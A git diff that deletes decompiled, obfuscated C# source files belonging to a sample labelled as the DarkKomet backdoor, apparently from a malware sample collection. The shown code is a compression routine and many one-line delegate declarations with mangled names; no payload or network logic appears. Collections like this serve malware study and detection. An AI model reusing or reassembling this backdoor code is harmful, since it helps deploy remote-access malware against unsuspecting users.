(numArray1 = obj0.\u0001)[(int) (index2 = (IntPtr) num4)] = (short) ((int) numArray1[index2] + (int) (short) num5); - else if (num4 != 0) - (numArray1 = obj0.\u0001)[16] = (short) ((int) numArray1[16] + 1); - else if (num5 <= 10) - (numArray1 = obj0.\u0001)[17] = (short) ((int) numArray1[17] + 1); - else - (numArray1 = obj0.\u0001)[18] = (short) ((int) numArray1[18] + 1); - } - return; -label_17: - index1 = 0; - goto label_15; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num5; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num1; - short[] numArray2 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local7 = (ValueType) index2; - \u0014.\u001B.\u001C obj = obj0; - \u0089\u0004.\u0080\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) numArray2, (object) local7, (object) this, (object) obj); - throw; - } - } - - public void \u0002\u0003([In] \u0014.\u001B.\u001C obj0) - { - int index; - int num1; - int num2; - int num3; - int num4; - int num5; - try - { - num4 = -1; - index = 0; - while (index < this.\u0004) - { - num5 = 1; - num1 = (int) this.\u0002[index]; - if (num1 == 0) - { - num2 = 138; - num3 = 3; - } - else - { - num2 = 6; - num3 = 3; - if (num4 != num1) - { - obj0.\u009B\u0002(num1); - num5 = 0; - } - } - num4 = num1; - ++index; - while (index < this.\u0004 && num4 == (int) this.\u0002[index]) - { - ++index; - if (++num5 >= num2) - break; - } - if (num5 < num3) - { - while (num5-- > 0) - obj0.\u009B\u0002(num4); - } - else if (num4 != 0) - { - obj0.\u009B\u0002(16); - this.\u0008.\u0003.\u0013\u0003(num5 - 3, 2); - } - else if (num5 <= 10) - { - obj0.\u009B\u0002(17); - this.\u0008.\u0003.\u0013\u0003(num5 - 3, 3); - } - else - { - obj0.\u009B\u0002(18); - this.\u0008.\u0003.\u0013\u0003(num5 - 11, 7); - } - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num5; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num1; - \u0014.\u001B.\u001C obj = obj0; - \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); - throw; - } - } - } - } - - internal sealed class \u001D - { - private int \u0001; - private short[] \u0002; - private short[] \u0003; - private int \u0004; - private int \u0005; - private bool \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private byte[] \u000F; - private byte[] \u0010; - private int \u0011; - private int \u0012; - private int \u0013; - private \u0014.\u001E \u0014; - private \u0014.\u001B \u0015; - - public \u001D([In] \u0014.\u001E obj0) - { - int num; - try - { - this.\u0014 = obj0; - this.\u0015 = new \u0014.\u001B(obj0); - this.\u000F = new byte[65536]; - this.\u0002 = new short[32768]; - this.\u0003 = new short[32768]; - this.\u0008 = num = 1; - this.\u0007 = num; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - \u0014.\u001E obj = obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local, (object) this, (object) obj); - throw; - } - } - - private void \u0003\u0003() - { - try - { - this.\u0001 = (int) this.\u000F[this.\u0008] << 5 ^ (int) this.\u000F[this.\u0008 + 1]; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - private int \u0004\u0003() - { - int index; - short num; - try - { - index = (this.\u0001 << 5 ^ (int) this.\u000F[this.\u0008 + 2]) & (int) short.MaxValue; - this.\u0003[this.\u0008 & (int) short.MaxValue] = num = this.\u0002[index]; - this.\u0002[index] = (short) this.\u0008; - this.\u0001 = index; - return (int) num & (int) ushort.MaxValue; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) local2, (object) this); - throw; - } - } - - private void \u0005\u0003() - { - int index1; - int num1; - int index2; - int num2; - try - { - Array.Copy((Array) this.\u000F, 32768, (Array) this.\u000F, 0, 32768); - this.\u0004 -= 32768; - this.\u0008 -= 32768; - this.\u0007 -= 32768; - for (index1 = 0; index1 < 32768; ++index1) - { - num1 = (int) this.\u0002[index1] & (int) ushort.MaxValue; - this.\u0002[index1] = num1 >= 32768 ? (short) (num1 - 32768) : (short) 0; - } - for (index2 = 0; index2 < 32768; ++index2) - { - num2 = (int) this.\u0003[index2] & (int) ushort.MaxValue; - this.\u0003[index2] = num2 >= 32768 ? (short) (num2 - 32768) : (short) 0; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) index2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num2; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this); - throw; - } - } - - public void \u0006\u0003() - { - int length; - try - { - if (this.\u0008 >= 65274) - goto label_8; -label_4: - for (; this.\u000E < 262 && this.\u0012 < this.\u0013; this.\u000E += length) - { - length = 65536 - this.\u000E - this.\u0008; - if (length > this.\u0013 - this.\u0012) - length = this.\u0013 - this.\u0012; - Array.Copy((Array) this.\u0010, this.\u0012, (Array) this.\u000F, this.\u0008 + this.\u000E, length); - this.\u0012 += length; - this.\u0011 += length; - } - if (this.\u000E < 3) - return; - this.\u0003\u0003(); - return; -label_8: - this.\u0005\u0003(); - goto label_4; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) length; - \u0089\u0004.\u0019\u0005(ex, (object) local, (object) this); - throw; - } - } - - private bool \u0007\u0003([In] int obj0) - { - short[] numArray; - int index1; - int index2; - int val1; - int num1; - int num2; - byte num3; - byte num4; - int num5; - int num6; - int num7; - try - { - num5 = 128; - num6 = 128; - numArray = this.\u0003; - index1 = this.\u0008; - index2 = this.\u0008 + this.\u0005; - val1 = Math.Max(this.\u0005, 2); - num1 = Math.Max(this.\u0008 - 32506, 0); - num2 = this.\u0008 + 258 - 1; - num3 = this.\u000F[index2 - 1]; - num4 = this.\u000F[index2]; - if (val1 >= 8) - num5 >>= 2; - if (num6 > this.\u000E) - num6 = this.\u000E; - do - { - if ((int) this.\u000F[obj0 + val1] == (int) num4 && (int) this.\u000F[obj0 + val1 - 1] == (int) num3 && (int) this.\u000F[obj0] == (int) this.\u000F[index1] && (int) this.\u000F[obj0 + 1] == (int) this.\u000F[index1 + 1]) - { - num7 = obj0 + 2; - index1 += 2; - do - ; - while ((int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && index1 < num2); - if (index1 > index2) - { - this.\u0004 = obj0; - index2 = index1; - val1 = index1 - this.\u0008; - if (val1 < num6) - { - num3 = this.\u000F[index2 - 1]; - num4 = this.\u000F[index2]; - } - else - break; - } - index1 = this.\u0008; - } - } - while ((obj0 = (int) numArray[obj0 & (int) short.MaxValue] & (int) ushort.MaxValue) > num1 && --num5 != 0); - this.\u0005 = Math.Min(val1, this.\u000E); - return this.\u0005 >= 3; - } - catch (Exception ex) - { - object[] objArray = new object[13] - { - (object) num5, - (object) num6, - (object) numArray, - (object) index1, - (object) num7, - (object) index2, - (object) val1, - (object) num1, - (object) num2, - (object) num3, - (object) num4, - (object) this, - (object) obj0 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - private bool \u0008\u0003([In] bool obj0, [In] bool obj1) - { - int num1; - int num2; - int num3; - int num4; - bool flag; - try - { - if (this.\u000E < 262 && !obj0) - return false; - while (this.\u000E >= 262 || obj0) - { - if (this.\u000E == 0) - { - if (this.\u0006) - this.\u0015.\u0099\u0002((int) this.\u000F[this.\u0008 - 1] & (int) byte.MaxValue); - this.\u0006 = false; - this.\u0015.\u0097\u0002(this.\u000F, this.\u0007, this.\u0008 - this.\u0007, obj1); - this.\u0007 = this.\u0008; - return false; - } - if (this.\u0008 >= 65274) - this.\u0005\u0003(); - num1 = this.\u0004; - num2 = this.\u0005; - if (this.\u000E >= 3) - { - num3 = this.\u0004\u0003(); - if (num3 != 0 && this.\u0008 - num3 <= 32506 && this.\u0007\u0003(num3) && this.\u0005 <= 5 && this.\u0005 == 3 && this.\u0008 - this.\u0004 > 4096) - this.\u0005 = 2; - } - if (num2 >= 3 && this.\u0005 <= num2) - { - this.\u0015.\u009A\u0002(this.\u0008 - 1 - num1, num2); - num2 -= 2; - do - { - ++this.\u0008; - --this.\u000E; - if (this.\u000E >= 3) - this.\u0004\u0003(); - } - while (--num2 > 0); - ++this.\u0008; - --this.\u000E; - this.\u0006 = false; - this.\u0005 = 2; - } - else - { - if (this.\u0006) - this.\u0015.\u0099\u0002((int) this.\u000F[this.\u0008 - 1] & (int) byte.MaxValue); - this.\u0006 = true; - ++this.\u0008; - --this.\u000E; - } - if (this.\u0015.\u0098\u0002()) - { - num4 = this.\u0008 - this.\u0007; - if (this.\u0006) - --num4; - flag = obj1 && this.\u000E == 0 && !this.\u0006; - this.\u0015.\u0097\u0002(this.\u000F, this.\u0007, num4, flag); - this.\u0007 += num4; - return !flag; - } - } - return true; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) flag; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local7 = (ValueType) obj1; - \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) local6, (object) local7); - throw; - } - } - - public bool \u008F\u0002([In] bool obj0, [In] bool obj1) - { - bool flag1; - bool flag2; - try - { - do - { - this.\u0006\u0003(); - flag1 = obj0 && this.\u0012 == this.\u0013; - flag2 = this.\u0008\u0003(flag1, obj1); - } - while (this.\u0014.\u0014\u0003() && flag2); - return flag2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) flag2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) flag1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj1; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4); - throw; - } - } - - public void \u001F\u0002([In] byte[] obj0) - { - try - { - this.\u0010 = obj0; - this.\u0012 = 0; - this.\u0013 = obj0.Length; - } - catch (Exception ex) - { - byte[] numArray = obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray); - throw; - } - } - - public bool \u000E\u0003() - { - try - { - return this.\u0013 == this.\u0012; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } - - internal sealed class \u001E - { - protected byte[] \u0001 = new byte[65536]; - private int \u0002 = 0; - private int \u0003 = 0; - private uint \u0004 = 0; - private int \u0005 = 0; - - public void \u000F\u0003([In] int obj0) - { - int num1; - try - { - byte[] numArray1 = this.\u0001; - \u0014.\u001E obj = this; - int num2; - num1 = num2 = obj.\u0003; - obj.\u0003 = num2 + 1; - int index1 = num1; - int num3 = (int) (byte) obj0; - numArray1[index1] = (byte) num3; - byte[] numArray2 = this.\u0001; - num1 = this.\u0003++; - int index2 = num1; - int num4 = (int) (byte) (obj0 >> 8); - numArray2[index2] = (byte) num4; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2); - throw; - } - } - - public void \u0010\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - try - { - Array.Copy((Array) obj0, obj1, (Array) this.\u0001, this.\u0003, obj2); - this.\u0003 += obj2; - } - catch (Exception ex) - { - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj2; - \u0089\u0004.\u001B\u0005(ex, (object) this, (object) numArray, (object) local1, (object) local2); - throw; - } - } - - [SpecialName] - public int \u0011\u0003() - { - try - { - return this.\u0005; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public void \u0012\u0003() - { - int num1; - try - { - if (this.\u0005 > 0) - goto label_3; -label_2: - this.\u0004 = 0U; - this.\u0005 = 0; - return; -label_3: - byte[] numArray1 = this.\u0001; - num1 = this.\u0003++; - int index1 = num1; - int num2 = (int) (byte) this.\u0004; - numArray1[index1] = (byte) num2; - if (this.\u0005 > 8) - { - byte[] numArray2 = this.\u0001; - num1 = this.\u0003++; - int index2 = num1; - int num3 = (int) (byte) (this.\u0004 >> 8); - numArray2[index2] = (byte) num3; - goto label_2; - } - else - goto label_2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num1; - \u0089\u0004.\u0019\u0005(ex, (object) local, (object) this); - throw; - } - } - - public void \u0013\u0003([In] int obj0, [In] int obj1) - { - int num1; - try - { - this.\u0004 |= (uint) (obj0 << this.\u0005); - this.\u0005 += obj1; - if (this.\u0005 < 16) - return; - byte[] numArray1 = this.\u0001; - num1 = this.\u0003++; - int index1 = num1; - int num2 = (int) (byte) this.\u0004; - numArray1[index1] = (byte) num2; - byte[] numArray2 = this.\u0001; - num1 = this.\u0003++; - int index2 = num1; - int num3 = (int) (byte) (this.\u0004 >> 8); - numArray2[index2] = (byte) num3; - this.\u0004 >>= 16; - this.\u0005 -= 16; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj1; - \u0089\u0004.\u001B\u0005(ex, (object) local1, (object) this, (object) local2, (object) local3); - throw; - } - } - - [SpecialName] - public bool \u0014\u0003() - { - try - { - return this.\u0003 == 0; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public int \u0015\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - try - { - if (this.\u0005 >= 8) - goto label_5; -label_1: - if (obj2 > this.\u0003 - this.\u0002) - { - obj2 = this.\u0003 - this.\u0002; - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 = 0; - this.\u0003 = 0; - } - else - { - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 += obj2; - } - return obj2; -label_5: - byte[] numArray = this.\u0001; - num1 = this.\u0003++; - int index = num1; - int num2 = (int) (byte) this.\u0004; - numArray[index] = (byte) num2; - this.\u0004 >>= 8; - this.\u0005 -= 8; - goto label_1; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj2; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3); - throw; - } - } - - public \u001E() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } - - internal sealed class \u001F : MemoryStream - { - public void \u000F\u0003([In] int obj0) - { - try - { - this.WriteByte((byte) (obj0 & (int) byte.MaxValue)); - this.WriteByte((byte) (obj0 >> 8 & (int) byte.MaxValue)); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local); - throw; - } - } - - public void \u0016\u0003([In] int obj0) - { - try - { - this.\u000F\u0003(obj0); - this.\u000F\u0003(obj0 >> 16); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local); - throw; - } - } - - public int \u0017\u0003() - { - try - { - return this.ReadByte() | this.ReadByte() << 8; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public int \u0018\u0003() - { - try - { - return this.\u0017\u0003() | this.\u0017\u0003() << 16; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public \u001F() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public \u001F([In] byte[] obj0) - : base(obj0, false) - { - try - { - } - catch (Exception ex) - { - byte[] numArray = obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray); - throw; - } - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012_0003.cs deleted file mode 100644 index 99da31aa..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate byte \u0012\u0003([In] int obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012_0004.cs deleted file mode 100644 index 84a71365..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0012\u0004([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0013_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0013_0003.cs deleted file mode 100644 index 0a4c0f17..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0013_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0013\u0003([In] long obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0013_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0013_0004.cs deleted file mode 100644 index 14223a74..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0013_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0013\u0004([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0014_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0014_0003.cs deleted file mode 100644 index ffea7421..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0014_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0014\u0003([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0014_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0014_0004.cs deleted file mode 100644 index eb7209b8..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0014_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0014\u0004([In] object obj0, [In] byte obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0015_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0015_0003.cs deleted file mode 100644 index cf564a84..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0015_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0015\u0003([In] byte[] obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0015_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0015_0004.cs deleted file mode 100644 index 9e7afa98..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0015_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate DirectoryInfo \u0015\u0004([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0016_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0016_0003.cs deleted file mode 100644 index 239a07b4..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0016_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0016\u0003([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0016_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0016_0004.cs deleted file mode 100644 index c578c560..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0016_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate FileStream \u0016\u0004([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0017_0003.cs 